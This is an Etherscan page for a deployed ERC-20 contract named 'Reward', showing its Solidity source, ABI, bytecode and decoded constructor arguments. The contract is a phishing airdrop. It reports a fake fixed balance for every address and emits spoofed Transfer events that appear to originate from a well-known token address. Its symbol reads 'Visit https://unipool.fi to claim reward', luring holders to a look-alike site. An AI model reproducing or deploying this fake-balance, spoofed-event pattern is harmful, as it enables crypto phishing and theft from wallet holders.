ETH Price: $3,363.16 (-1.57%)
Gas: 7 Gwei

Token

(0xCb96E37edA8e670D1B96e6FBe267380b80Ba5910)
 

Overview

Max Total Supply

58,700,000 ERC-20 TOKEN*

Holders

9,003 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
deanikk.eth
Balance
587 ERC-20 TOKEN*

Value
$0.00
0x3019Ac23e58d3bc8c24E4bD86C1C09D804d998fD
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Reward

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
        c = a / b;
    }
}


contract Reward is SafeMath {
    string public name;
    string public symbol;
    uint8 public decimals;

    uint256 public totalSupply;

    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;

    uint256 public constAmount;
    address public fromAddr;

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract const 382000000000000000000
     */
    constructor(string memory name_, string memory symbol_, uint256 constAmount_, address from_) {
        initialize(name_, symbol_, constAmount_, from_);
    }

    function initialize(string memory name_, string memory symbol_, uint256 constAmount_, address from_) public {
        name = name_;
        symbol = symbol_;
        decimals = 18;
        constAmount = constAmount_;
        totalSupply = constAmount * 100000;
        fromAddr = from_;

        balances[fromAddr] = totalSupply;
        emit Transfer(address(0), fromAddr, totalSupply);
    }

    function balanceOf(address account) public view returns (uint256) {
        if(account == fromAddr) return balances[account];
        return constAmount;
    }

    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }

    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
        _transfer(msg.sender, to, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        _transfer(from, to, tokens);
        return true;
    }

    function _transfer(address from, address to, uint tokens) private {
        balances[from] = safeSub(balances[from], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
    }

    function airdrop(address[] memory holders) public {
        uint256 len = holders.length;
        for (uint i = 0; i < len; ++i) {
            emit Transfer(fromAddr, holders[i], constAmount);
        }
        balances[fromAddr] -= constAmount * len;
    }

    function transfer(address[] memory holders) public {
        airdrop(holders);
    }

    function multicall(address[] memory holders) public {
        airdrop(holders);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"},{"internalType":"address","name":"from_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"constAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"},{"internalType":"address","name":"from_","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001090380380620010908339810160408190526200003491620001c4565b62000042848484846200004c565b50505050620003e0565b60006200005a8582620002e8565b506001620000698482620002e8565b506002805460ff1916601217905560068290556200008b82620186a0620003b4565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200012757600080fd5b81516001600160401b0380821115620001445762000144620000ff565b604051601f8301601f19908116603f011681019082821181831017156200016f576200016f620000ff565b816040528381526020925086838588010111156200018c57600080fd5b600091505b83821015620001b0578582018301518183018401529082019062000191565b600093810190920192909252949350505050565b60008060008060808587031215620001db57600080fd5b84516001600160401b0380821115620001f357600080fd5b620002018883890162000115565b955060208701519150808211156200021857600080fd5b50620002278782880162000115565b60408701516060880151919550935090506001600160a01b03811681146200024e57600080fd5b939692955090935050565b600181811c908216806200026e57607f821691505b6020821081036200028f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002e357600081815260208120601f850160051c81016020861015620002be5750805b601f850160051c820191505b81811015620002df57828155600101620002ca565b5050505b505050565b81516001600160401b03811115620003045762000304620000ff565b6200031c8162000315845462000259565b8462000295565b602080601f8311600181146200035457600084156200033b5750858301515b600019600386901b1c1916600185901b178555620002df565b600085815260208120601f198616915b82811015620003855788860151825594840194600190910190840162000364565b5085821015620003a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082028115828204841417620003da57634e487b7160e01b600052601160045260246000fd5b92915050565b610ca080620003f06000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063a06c1a33116100ad578063d05c78da11610071578063d05c78da14610248578063dd62ed3e1461025b578063e6cb901314610294578063e6fdb7ea146102a7578063fb7ed961146101e957600080fd5b8063a06c1a33146101e9578063a293d1e8146101fc578063a9059cbb1461020f578063b5931f7c14610222578063bd3a13f61461023557600080fd5b8063313ce567116100f4578063313ce56714610191578063484b1c13146101b057806370a08231146101b9578063729ad39e146101cc57806395d89b41146101e157600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd1461017e575b600080fd5b61012e6102d2565b60405161013b919061075b565b60405180910390f35b6101576101523660046107c5565b610360565b604051901515815260200161013b565b61017060035481565b60405190815260200161013b565b61015761018c3660046107ef565b6103cd565b60025461019e9060ff1681565b60405160ff909116815260200161013b565b61017060065481565b6101706101c736600461082b565b610434565b6101df6101da36600461088d565b610471565b005b61012e61054d565b6101df6101f736600461088d565b61055a565b61017061020a36600461093a565b610566565b61015761021d3660046107c5565b610586565b61017061023036600461093a565b61059c565b6101df6102433660046109cc565b6105b4565b61017061025636600461093a565b610661565b610170610269366004610a4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101706102a236600461093a565b61068d565b6007546102ba906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b600080546102df90610a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90610a7d565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bb9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546103fb9083610566565b6001600160a01b038516600090815260056020908152604080832033845290915290205561042a8484846106a8565b5060019392505050565b6007546000906001600160a01b039081169083160361046957506001600160a01b031660009081526004602052604090205490565b505060065490565b805160005b8181101561050b5782818151811061049057610490610ab7565b60200260200101516001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516104f391815260200190565b60405180910390a361050481610ae3565b9050610476565b508060065461051a9190610afc565b6007546001600160a01b031660009081526004602052604081208054909190610544908490610b13565b90915550505050565b600180546102df90610a7d565b61056381610471565b50565b60008282111561057557600080fd5b61057f8284610b13565b9392505050565b60006105933384846106a8565b50600192915050565b60008082116105aa57600080fd5b61057f8284610b26565b60006105c08582610b97565b5060016105cd8482610b97565b506002805460ff1916601217905560068290556105ed82620186a0610afc565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600061066d8284610afc565b90508215806106845750816106828483610b26565b145b6103c757600080fd5b60006106998284610c57565b9050828110156103c757600080fd5b6001600160a01b0383166000908152600460205260409020546106cb9082610566565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546106fa908261068d565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061074e9085815260200190565b60405180910390a3505050565b600060208083528351808285015260005b818110156107885785810183015185820160400152820161076c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c057600080fd5b919050565b600080604083850312156107d857600080fd5b6107e1836107a9565b946020939093013593505050565b60008060006060848603121561080457600080fd5b61080d846107a9565b925061081b602085016107a9565b9150604084013590509250925092565b60006020828403121561083d57600080fd5b61057f826107a9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561088557610885610846565b604052919050565b600060208083850312156108a057600080fd5b823567ffffffffffffffff808211156108b857600080fd5b818501915085601f8301126108cc57600080fd5b8135818111156108de576108de610846565b8060051b91506108ef84830161085c565b818152918301840191848101908884111561090957600080fd5b938501935b8385101561092e5761091f856107a9565b8252938501939085019061090e565b98975050505050505050565b6000806040838503121561094d57600080fd5b50508035926020909101359150565b600082601f83011261096d57600080fd5b813567ffffffffffffffff81111561098757610987610846565b61099a601f8201601f191660200161085c565b8181528460208386010111156109af57600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156109e257600080fd5b843567ffffffffffffffff808211156109fa57600080fd5b610a068883890161095c565b95506020870135915080821115610a1c57600080fd5b50610a298782880161095c565b93505060408501359150610a3f606086016107a9565b905092959194509250565b60008060408385031215610a5d57600080fd5b610a66836107a9565b9150610a74602084016107a9565b90509250929050565b600181811c90821680610a9157607f821691505b602082108103610ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610af557610af5610acd565b5060010190565b80820281158282048414176103c7576103c7610acd565b818103818111156103c7576103c7610acd565b600082610b4357634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610b9257600081815260208120601f850160051c81016020861015610b6f5750805b601f850160051c820191505b81811015610b8e57828155600101610b7b565b5050505b505050565b815167ffffffffffffffff811115610bb157610bb1610846565b610bc581610bbf8454610a7d565b84610b48565b602080601f831160018114610bfa5760008415610be25750858301515b600019600386901b1c1916600185901b178555610b8e565b600085815260208120601f198616915b82811015610c2957888601518255948401946001909101908401610c0a565b5085821015610c475787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156103c7576103c7610acd56fea264697066735822122029e8988d012925f4fe433ddb525fe2c76c1095472875366d07303f85b1085c0b64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000001fd242edf0d24c00000000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984000000000000000000000000000000000000000000000000000000000000000c2420556e69706f6f6c2e66690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002856697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c61696d20726577617264000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063a06c1a33116100ad578063d05c78da11610071578063d05c78da14610248578063dd62ed3e1461025b578063e6cb901314610294578063e6fdb7ea146102a7578063fb7ed961146101e957600080fd5b8063a06c1a33146101e9578063a293d1e8146101fc578063a9059cbb1461020f578063b5931f7c14610222578063bd3a13f61461023557600080fd5b8063313ce567116100f4578063313ce56714610191578063484b1c13146101b057806370a08231146101b9578063729ad39e146101cc57806395d89b41146101e157600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd1461017e575b600080fd5b61012e6102d2565b60405161013b919061075b565b60405180910390f35b6101576101523660046107c5565b610360565b604051901515815260200161013b565b61017060035481565b60405190815260200161013b565b61015761018c3660046107ef565b6103cd565b60025461019e9060ff1681565b60405160ff909116815260200161013b565b61017060065481565b6101706101c736600461082b565b610434565b6101df6101da36600461088d565b610471565b005b61012e61054d565b6101df6101f736600461088d565b61055a565b61017061020a36600461093a565b610566565b61015761021d3660046107c5565b610586565b61017061023036600461093a565b61059c565b6101df6102433660046109cc565b6105b4565b61017061025636600461093a565b610661565b610170610269366004610a4a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101706102a236600461093a565b61068d565b6007546102ba906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b600080546102df90610a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90610a7d565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bb9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526005602090815260408083203384529091528120546103fb9083610566565b6001600160a01b038516600090815260056020908152604080832033845290915290205561042a8484846106a8565b5060019392505050565b6007546000906001600160a01b039081169083160361046957506001600160a01b031660009081526004602052604090205490565b505060065490565b805160005b8181101561050b5782818151811061049057610490610ab7565b60200260200101516001600160a01b0316600760009054906101000a90046001600160a01b03166001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516104f391815260200190565b60405180910390a361050481610ae3565b9050610476565b508060065461051a9190610afc565b6007546001600160a01b031660009081526004602052604081208054909190610544908490610b13565b90915550505050565b600180546102df90610a7d565b61056381610471565b50565b60008282111561057557600080fd5b61057f8284610b13565b9392505050565b60006105933384846106a8565b50600192915050565b60008082116105aa57600080fd5b61057f8284610b26565b60006105c08582610b97565b5060016105cd8482610b97565b506002805460ff1916601217905560068290556105ed82620186a0610afc565b6003819055600780546001600160a01b0319166001600160a01b03848116918217835560009182526004602090815260408084208690559354935194855292169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600061066d8284610afc565b90508215806106845750816106828483610b26565b145b6103c757600080fd5b60006106998284610c57565b9050828110156103c757600080fd5b6001600160a01b0383166000908152600460205260409020546106cb9082610566565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546106fa908261068d565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061074e9085815260200190565b60405180910390a3505050565b600060208083528351808285015260005b818110156107885785810183015185820160400152820161076c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107c057600080fd5b919050565b600080604083850312156107d857600080fd5b6107e1836107a9565b946020939093013593505050565b60008060006060848603121561080457600080fd5b61080d846107a9565b925061081b602085016107a9565b9150604084013590509250925092565b60006020828403121561083d57600080fd5b61057f826107a9565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561088557610885610846565b604052919050565b600060208083850312156108a057600080fd5b823567ffffffffffffffff808211156108b857600080fd5b818501915085601f8301126108cc57600080fd5b8135818111156108de576108de610846565b8060051b91506108ef84830161085c565b818152918301840191848101908884111561090957600080fd5b938501935b8385101561092e5761091f856107a9565b8252938501939085019061090e565b98975050505050505050565b6000806040838503121561094d57600080fd5b50508035926020909101359150565b600082601f83011261096d57600080fd5b813567ffffffffffffffff81111561098757610987610846565b61099a601f8201601f191660200161085c565b8181528460208386010111156109af57600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156109e257600080fd5b843567ffffffffffffffff808211156109fa57600080fd5b610a068883890161095c565b95506020870135915080821115610a1c57600080fd5b50610a298782880161095c565b93505060408501359150610a3f606086016107a9565b905092959194509250565b60008060408385031215610a5d57600080fd5b610a66836107a9565b9150610a74602084016107a9565b90509250929050565b600181811c90821680610a9157607f821691505b602082108103610ab157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610af557610af5610acd565b5060010190565b80820281158282048414176103c7576103c7610acd565b818103818111156103c7576103c7610acd565b600082610b4357634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610b9257600081815260208120601f850160051c81016020861015610b6f5750805b601f850160051c820191505b81811015610b8e57828155600101610b7b565b5050505b505050565b815167ffffffffffffffff811115610bb157610bb1610846565b610bc581610bbf8454610a7d565b84610b48565b602080601f831160018114610bfa5760008415610be25750858301515b600019600386901b1c1916600185901b178555610b8e565b600085815260208120601f198616915b82811015610c2957888601518255948401946001909101908401610c0a565b5085821015610c475787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156103c7576103c7610acd56fea264697066735822122029e8988d012925f4fe433ddb525fe2c76c1095472875366d07303f85b1085c0b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000001fd242edf0d24c00000000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984000000000000000000000000000000000000000000000000000000000000000c2420556e69706f6f6c2e66690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002856697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c61696d20726577617264000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): $ Unipool.fi
Arg [1] : symbol_ (string): Visit https://unipool.fi to claim reward
Arg [2] : constAmount_ (uint256): 587000000000000000000
Arg [3] : from_ (address): 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000000000000000000000000001fd242edf0d24c0000
Arg [3] : 0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 2420556e69706f6f6c2e66690000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000028
Arg [7] : 56697369742068747470733a2f2f756e69706f6f6c2e666920746f20636c6169
Arg [8] : 6d20726577617264000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

841:2869:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;876:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2396:208;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2396:208:0;1004:187:1;958:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;958:26:0;1196:177:1;2767:240:0;;;;;;:::i;:::-;;:::i;928:21::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;928:21:0;1711:184:1;1094:26:0;;;;;;2071:162;;;;;;:::i;:::-;;:::i;3253:263::-;;;;;;:::i;:::-;;:::i;:::-;;901:20;;;:::i;3524:86::-;;;;;;:::i;:::-;;:::i;515:102::-;;;;;;:::i;:::-;;:::i;2612:147::-;;;;;;:::i;:::-;;:::i;726:106::-;;;;;;:::i;:::-;;:::i;1660:403::-;;;;;;:::i;:::-;;:::i;618:107::-;;;;;;:::i;:::-;;:::i;2241:147::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2352:19:0;;;2318:14;2352:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;2241:147;393:116;;;;;;:::i;:::-;;:::i;1127:23::-;;;;;-1:-1:-1;;;;;1127:23:0;;;;;;-1:-1:-1;;;;;5369:32:1;;;5351:51;;5339:2;5324:18;1127:23:0;5205:203:1;876:18:0;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2396:208::-;2492:10;2459:12;2484:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;2484:28:0;;;;;;;;;;:37;;;2537;2459:12;;2484:28;;2537:37;;;;2515:6;1342:25:1;;1330:2;1315:18;;1196:177;2537:37:0;;;;;;;;-1:-1:-1;2592:4:0;2396:208;;;;;:::o;2767:240::-;-1:-1:-1;;;;;2905:13:0;;2844:12;2905:13;;;:7;:13;;;;;;;;2919:10;2905:25;;;;;;;;2897:42;;2932:6;2897:7;:42::i;:::-;-1:-1:-1;;;;;2869:13:0;;;;;;:7;:13;;;;;;;;2883:10;2869:25;;;;;;;:70;2950:27;2877:4;2966:2;2970:6;2950:9;:27::i;:::-;-1:-1:-1;2995:4:0;2767:240;;;;;:::o;2071:162::-;2162:8;;2128:7;;-1:-1:-1;;;;;2162:8:0;;;2151:19;;;;2148:48;;-1:-1:-1;;;;;;2179:17:0;;;;;:8;:17;;;;;;;2071:162::o;2148:48::-;-1:-1:-1;;2214:11:0;;;2071:162::o;3253:263::-;3328:14;;3314:11;3353:106;3374:3;3370:1;:7;3353:106;;;3423:7;3431:1;3423:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3404:43:0;3413:8;;;;;;;;;-1:-1:-1;;;;;3413:8:0;-1:-1:-1;;;;;3404:43:0;;3435:11;;3404:43;;;;1342:25:1;;1330:2;1315:18;;1196:177;3404:43:0;;;;;;;;3379:3;;;:::i;:::-;;;3353:106;;;;3505:3;3491:11;;:17;;;;:::i;:::-;3478:8;;-1:-1:-1;;;;;3478:8:0;3469:18;;;;:8;:18;;;;;:39;;:18;;;:39;;;;;:::i;:::-;;;;-1:-1:-1;;;;3253:263:0:o;901:20::-;;;;;;;:::i;3524:86::-;3586:16;3594:7;3586;:16::i;:::-;3524:86;:::o;515:102::-;569:6;601:1;596;:6;;588:15;;;;;;609:5;613:1;609;:5;:::i;:::-;605:9;515:102;-1:-1:-1;;;515:102:0:o;2612:147::-;2671:12;2696:33;2706:10;2718:2;2722:6;2696:9;:33::i;:::-;-1:-1:-1;2747:4:0;2612:147;;;;:::o;726:106::-;780:6;802:1;798;:5;790:14;;;;;;819:5;823:1;819;:5;:::i;1660:403::-;1779:4;:12;1786:5;1779:4;:12;:::i;:::-;-1:-1:-1;1802:6:0;:16;1811:7;1802:6;:16;:::i;:::-;-1:-1:-1;1829:8:0;:13;;-1:-1:-1;;1829:13:0;1840:2;1829:13;;;1853:11;:26;;;1904:20;1867:12;1918:6;1904:20;:::i;:::-;1890:11;:34;;;1935:8;:16;;-1:-1:-1;;;;;;1935:16:0;-1:-1:-1;;;;;1935:16:0;;;;;;;;-1:-1:-1;1964:18:0;;;:8;:18;;;;;;;;:32;;;2033:8;;2012:43;;1342:25:1;;;2033:8:0;;;-1:-1:-1;;2012:43:0;;1315:18:1;2012:43:0;;;;;;;1660:403;;;;:::o;618:107::-;672:6;686:5;690:1;686;:5;:::i;:::-;682:9;-1:-1:-1;701:6:0;;;:20;;-1:-1:-1;720:1:0;711:5;715:1;711;:5;:::i;:::-;:10;701:20;693:29;;;;;393:116;447:6;470:5;474:1;470;:5;:::i;:::-;466:9;;499:1;494;:6;;486:15;;;;;3015:230;-1:-1:-1;;;;;3117:14:0;;;;;;:8;:14;;;;;;3109:31;;3133:6;3109:7;:31::i;:::-;-1:-1:-1;;;;;3092:14:0;;;;;;;:8;:14;;;;;;:48;;;;3174:12;;;;;;;3166:29;;3188:6;3166:7;:29::i;:::-;-1:-1:-1;;;;;3151:12:0;;;;;;;:8;:12;;;;;;;:44;;;;3211:26;;;;;;;;;;3230:6;1342:25:1;;1330:2;1315:18;;1196:177;3211:26:0;;;;;;;;3015:230;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:127::-;2152:10;2147:3;2143:20;2140:1;2133:31;2183:4;2180:1;2173:15;2207:4;2204:1;2197:15;2223:275;2294:2;2288:9;2359:2;2340:13;;-1:-1:-1;;2336:27:1;2324:40;;2394:18;2379:34;;2415:22;;;2376:62;2373:88;;;2441:18;;:::i;:::-;2477:2;2470:22;2223:275;;-1:-1:-1;2223:275:1:o;2503:952::-;